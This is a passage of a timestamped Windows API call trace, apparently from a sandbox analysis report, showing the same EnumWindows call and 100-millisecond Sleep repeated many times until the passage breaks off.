[0175.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.689] Sleep (dwMilliseconds=0x64) [0175.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.691] Sleep (dwMilliseconds=0x64) [0175.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.693] Sleep (dwMilliseconds=0x64) [0175.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.695] Sleep (dwMilliseconds=0x64) [0175.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.696] Sleep (dwMilliseconds=0x64) [0175.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.698] Sleep (dwMilliseconds=0x64) [0175.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.706] Sleep (dwMilliseconds=0x64) [0175.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.708] Sleep (dwMilliseconds=0x64) [0175.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.710] Sleep (dwMilliseconds=0x64) [0175.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.712] Sleep (dwMilliseconds=0x64) [0175.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.824] Sleep (dwMilliseconds=0x64) [0175.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.917] Sleep (dwMilliseconds=0x64) [0175.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.923] Sleep (dwMilliseconds=0x64) [0175.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.927] Sleep (dwMilliseconds=0x64) [0175.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.944] Sleep (dwMilliseconds=0x64) [0176.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.023] Sleep (dwMilliseconds=0x64) [0176.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.027] Sleep (dwMilliseconds=0x64) [0176.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.090] Sleep (dwMilliseconds=0x64) [0176.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.092] Sleep (dwMilliseconds=0x64) [0176.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.093] Sleep (dwMilliseconds=0x64) [0176.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.095] Sleep (dwMilliseconds=0x64) [0176.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.097] Sleep (dwMilliseconds=0x64) [0176.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.099] Sleep (dwMilliseconds=0x64) [0176.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.102] Sleep (dwMilliseconds=0x64) [0176.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.126] Sleep (dwMilliseconds=0x64) [0176.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.219] Sleep (dwMilliseconds=0x64) [0176.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.221] Sleep (dwMilliseconds=0x64) [0176.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.224] Sleep (dwMilliseconds=0x64) [0176.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.226] Sleep (dwMilliseconds=0x64) [0176.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.229] Sleep (dwMilliseconds=0x64) [0176.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.231] Sleep (dwMilliseconds=0x64) [0176.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.233] Sleep (dwMilliseconds=0x64) [0176.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.234] Sleep (dwMilliseconds=0x64) [0176.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.236] Sleep (dwMilliseconds=0x64) [0176.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.237] Sleep (dwMilliseconds=0x64) [0176.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.239] Sleep (dwMilliseconds=0x64) [0176.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.241] Sleep (dwMilliseconds=0x64) [0176.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.242] Sleep (dwMilliseconds=0x64) [0176.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.244] Sleep (dwMilliseconds=0x64) [0176.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.245] Sleep (dwMilliseconds=0x64) [0176.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.247] Sleep (dwMilliseconds=0x64) [0176.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.249] Sleep (dwMilliseconds=0x64) [0176.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.250] Sleep (dwMilliseconds=0x64) [0176.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.252] Sleep (dwMilliseconds=0x64) [0176.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.253] Sleep (dwMilliseconds=0x64) [0176.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.255] Sleep (dwMilliseconds=0x64) [0176.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.257] Sleep (dwMilliseconds=0x64) [0176.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.258] Sleep (dwMilliseconds=0x64) [0176.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.260] Sleep (dwMilliseconds=0x64) [0176.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.262] Sleep (dwMilliseconds=0x64) [0176.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.263] Sleep (dwMilliseconds=0x64) [0176.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.265] Sleep (dwMilliseconds=0x64) [0176.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.269] Sleep (dwMilliseconds=0x64) [0176.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.270] Sleep (dwMilliseconds=0x64) [0176.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.272] Sleep (dwMilliseconds=0x64) [0176.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.273] Sleep (dwMilliseconds=0x64) [0176.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.275] Sleep (dwMilliseconds=0x64) [0176.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.277] Sleep (dwMilliseconds=0x64) [0176.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.278] Sleep (dwMilliseconds=0x64) [0176.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.279] Sleep (dwMilliseconds=0x64) [0176.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.281] Sleep (dwMilliseconds=0x64) [0176.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.298] Sleep (dwMilliseconds=0x64) [0176.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.299] Sleep (dwMilliseconds=0x64) [0176.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.301] Sleep (dwMilliseconds=0x64) [0176.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.303] Sleep (dwMilliseconds=0x64) [0176.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.304] Sleep (dwMilliseconds=0x64) [0176.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.308] Sleep (dwMilliseconds=0x64) [0176.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.310] Sleep (dwMilliseconds=0x64) [0176.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.311] Sleep (dwMilliseconds=0x64) [0176.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.313] Sleep (dwMilliseconds=0x64) [0176.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.315] Sleep (dwMilliseconds=0x64) [0176.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.316] Sleep (dwMilliseconds=0x64) [0176.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.318] Sleep (dwMilliseconds=0x64) [0176.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.319] Sleep (dwMilliseconds=0x64) [0176.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.332] Sleep (dwMilliseconds=0x64) [0176.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.334] Sleep (dwMilliseconds=0x64) [0176.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.336] Sleep (dwMilliseconds=0x64) [0176.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.337] Sleep (dwMilliseconds=0x64) [0176.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.339] Sleep (dwMilliseconds=0x64) [0176.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.341] Sleep (dwMilliseconds=0x64) [0176.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.342] Sleep (dwMilliseconds=0x64) [0176.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.344] Sleep (dwMilliseconds=0x64) [0176.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.349] Sleep (dwMilliseconds=0x64) [0176.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.352] Sleep (dwMilliseconds=0x64) [0176.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.354] Sleep (dwMilliseconds=0x64) [0176.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.357] Sleep (dwMilliseconds=0x64) [0176.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.358] Sleep (dwMilliseconds=0x64) [0176.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.359] Sleep (dwMilliseconds=0x64) [0176.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.361] Sleep (dwMilliseconds=0x64) [0176.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.363] Sleep (dwMilliseconds=0x64) [0176.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.365] Sleep (dwMilliseconds=0x64) [0176.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.367] Sleep (dwMilliseconds=0x64) [0176.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.369] Sleep (dwMilliseconds=0x64) [0176.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.371] Sleep (dwMilliseconds=0x64) [0176.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.423] Sleep (dwMilliseconds=0x64) [0176.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.425] Sleep (dwMilliseconds=0x64) [0176.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.426] Sleep (dwMilliseconds=0x64) [0176.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.428] Sleep (dwMilliseconds=0x64) [0176.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.430] Sleep (dwMilliseconds=0x64) [0176.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.431] Sleep (dwMilliseconds=0x64) [0176.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.434] Sleep (dwMilliseconds=0x64) [0176.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.443] Sleep (dwMilliseconds=0x64) [0176.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.445] Sleep (dwMilliseconds=0x64) [0176.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.446] Sleep (dwMilliseconds=0x64) [0176.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.448] Sleep (dwMilliseconds=0x64) [0176.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.449] Sleep (dwMilliseconds=0x64) [0176.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.451] Sleep (dwMilliseconds=0x64) [0176.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.452] Sleep (dwMilliseconds=0x64) [0176.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.454] Sleep (dwMilliseconds=0x64) [0176.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.455] Sleep (dwMilliseconds=0x64) [0176.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.457] Sleep (dwMilliseconds=0x64) [0176.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.458] Sleep (dwMilliseconds=0x64) [0176.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.460] Sleep (dwMilliseconds=0x64) [0176.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.465] Sleep (dwMilliseconds=0x64) [0176.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.467] Sleep (dwMilliseconds=0x64) [0176.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.468] Sleep (dwMilliseconds=0x64) [0176.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.470] Sleep (dwMilliseconds=0x64) [0176.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.471] Sleep (dwMilliseconds=0x64) [0176.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.473] Sleep (dwMilliseconds=0x64) [0176.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.474] Sleep (dwMilliseconds=0x64) [0176.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.476] Sleep (dwMilliseconds=0x64) [0176.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.477] Sleep (dwMilliseconds=0x64) [0176.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.479] Sleep (dwMilliseconds=0x64) [0176.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.581] Sleep (dwMilliseconds=0x64) [0176.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.617] Sleep (dwMilliseconds=0x64) [0176.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.619] Sleep (dwMilliseconds=0x64) [0176.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.621] Sleep (dwMilliseconds=0x64) [0176.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.622] Sleep (dwMilliseconds=0x64) [0176.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.624] Sleep (dwMilliseconds=0x64) [0176.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.626] Sleep (dwMilliseconds=0x64) [0176.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.627] Sleep (dwMilliseconds=0x64) [0176.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.629] Sleep (dwMilliseconds=0x64) [0176.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.630] Sleep (dwMilliseconds=0x64) [0176.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.633] Sleep (dwMilliseconds=0x64) [0176.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.634] Sleep (dwMilliseconds=0x64) [0176.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.637] Sleep (dwMilliseconds=0x64) [0176.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.639] Sleep (dwMilliseconds=0x64) [0176.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.641] Sleep (dwMilliseconds=0x64) [0176.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.642] Sleep (dwMilliseconds=0x64) [0176.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.644] Sleep (dwMilliseconds=0x64) [0176.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.646] Sleep (dwMilliseconds=0x64) [0176.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.672] Sleep (dwMilliseconds=0x64) [0176.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.674] Sleep (dwMilliseconds=0x64) [0176.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.681] Sleep (dwMilliseconds=0x64) [0176.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.683] Sleep (dwMilliseconds=0x64) [0176.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.684] Sleep (dwMilliseconds=0x64) [0176.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.687] Sleep (dwMilliseconds=0x64) [0176.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.689] Sleep (dwMilliseconds=0x64) [0176.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.691] Sleep (dwMilliseconds=0x64) [0176.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.692] Sleep (dwMilliseconds=0x64) [0176.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.694] Sleep (dwMilliseconds=0x64) [0176.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.695] Sleep (dwMilliseconds=0x64) [0176.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.699] Sleep (dwMilliseconds=0x64) [0176.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.701] Sleep (dwMilliseconds=0x64) [0176.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.703] Sleep (dwMilliseconds=0x64) [0176.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.704] Sleep (dwMilliseconds=0x64) [0176.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.706] Sleep (dwMilliseconds=0x64) [0176.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.707] Sleep (dwMilliseconds=0x64) [0176.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.709] Sleep (dwMilliseconds=0x64) [0176.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.711] Sleep (dwMilliseconds=0x64) [0176.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.712] Sleep (dwMilliseconds=0x64) [0176.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.714] Sleep (dwMilliseconds=0x64) [0176.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.715] Sleep (dwMilliseconds=0x64) [0176.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.717] Sleep (dwMilliseconds=0x64) [0176.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.718] Sleep (dwMilliseconds=0x64) [0176.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.720] Sleep (dwMilliseconds=0x64) [0176.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.722] Sleep (dwMilliseconds=0x64) [0176.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.723] Sleep (dwMilliseconds=0x64) [0176.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.725] Sleep (dwMilliseconds=0x64) [0176.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.727] Sleep (dwMilliseconds=0x64) [0176.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.728] Sleep (dwMilliseconds=0x64) [0176.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.730] Sleep (dwMilliseconds=0x64) [0176.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.732] Sleep (dwMilliseconds=0x64) [0176.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.733] Sleep (dwMilliseconds=0x64) [0176.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.735] Sleep (dwMilliseconds=0x64) [0176.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.737] Sleep (dwMilliseconds=0x64) [0176.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.738] Sleep (dwMilliseconds=0x64) [0176.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.740] Sleep (dwMilliseconds=0x64) [0176.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.741] Sleep (dwMilliseconds=0x64) [0176.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.743] Sleep (dwMilliseconds=0x64) [0176.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.745] Sleep (dwMilliseconds=0x64) [0176.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.746] Sleep (dwMilliseconds=0x64) [0176.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.748] Sleep (dwMilliseconds=0x64) [0176.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.750] Sleep (dwMilliseconds=0x64) [0176.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.752] Sleep (dwMilliseconds=0x64) [0176.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.754] Sleep (dwMilliseconds=0x64) [0176.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.756] Sleep (dwMilliseconds=0x64) [0176.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.758] Sleep (dwMilliseconds=0x64) [0176.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.760] Sleep (dwMilliseconds=0x64) [0176.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.762] Sleep (dwMilliseconds=0x64) [0176.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.764] Sleep (dwMilliseconds=0x64) [0176.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.766] Sleep (dwMilliseconds=0x64) [0176.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.771] Sleep (dwMilliseconds=0x64) [0176.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.773] Sleep (dwMilliseconds=0x64) [0176.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.775] Sleep (dwMilliseconds=0x64) [0176.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.776] Sleep (dwMilliseconds=0x64) [0176.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.778] Sleep (dwMilliseconds=0x64) [0176.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.779] Sleep (dwMilliseconds=0x64) [0176.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.781] Sleep (dwMilliseconds=0x64) [0176.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.783] Sleep (dwMilliseconds=0x64) [0176.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.784] Sleep (dwMilliseconds=0x64) [0176.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.786] Sleep (dwMilliseconds=0x64) [0176.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.788] Sleep (dwMilliseconds=0x64) [0176.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.790] Sleep (dwMilliseconds=0x64) [0176.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.791] Sleep (dwMilliseconds=0x64) [0176.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.793] Sleep (dwMilliseconds=0x64) [0176.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.794] Sleep (dwMilliseconds=0x64) [0176.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.797] Sleep (dwMilliseconds=0x64) [0176.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.799] Sleep (dwMilliseconds=0x64) [0176.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.801] Sleep (dwMilliseconds=0x64) [0176.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.802] Sleep (dwMilliseconds=0x64) [0176.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.804] Sleep (dwMilliseconds=0x64) [0176.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.805] Sleep (dwMilliseconds=0x64) [0176.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.807] Sleep (dwMilliseconds=0x64) [0176.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.808] Sleep (dwMilliseconds=0x64) [0176.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.810] Sleep (dwMilliseconds=0x64) [0176.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.811] Sleep (dwMilliseconds=0x64) [0176.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.813] Sleep (dwMilliseconds=0x64) [0176.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.815] Sleep (dwMilliseconds=0x64) [0176.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.816] Sleep (dwMilliseconds=0x64) [0176.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.818] Sleep (dwMilliseconds=0x64) [0176.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.819] Sleep (dwMilliseconds=0x64) [0176.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.820] Sleep (dwMilliseconds=0x64) [0176.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.822] Sleep (dwMilliseconds=0x64) [0176.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.855] Sleep (dwMilliseconds=0x64) [0176.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.858] Sleep (dwMilliseconds=0x64) [0176.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.860] Sleep (dwMilliseconds=0x64) [0176.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.861] Sleep (dwMilliseconds=0x64) [0176.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.863] Sleep (dwMilliseconds=0x64) [0176.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.865] Sleep (dwMilliseconds=0x64) [0176.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.867] Sleep (dwMilliseconds=0x64) [0176.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.869] Sleep (dwMilliseconds=0x64) [0176.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.870] Sleep (dwMilliseconds=0x64) [0176.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.882] Sleep (dwMilliseconds=0x64) [0176.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.884] Sleep (dwMilliseconds=0x64) [0176.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.885] Sleep (dwMilliseconds=0x64) [0176.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.895] Sleep (dwMilliseconds=0x64) [0176.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.896] Sleep (dwMilliseconds=0x64) [0176.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.898] Sleep (dwMilliseconds=0x64) [0176.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.900] Sleep (dwMilliseconds=0x64) [0176.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.902] Sleep (dwMilliseconds=0x64) [0176.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0176.912] Sleep 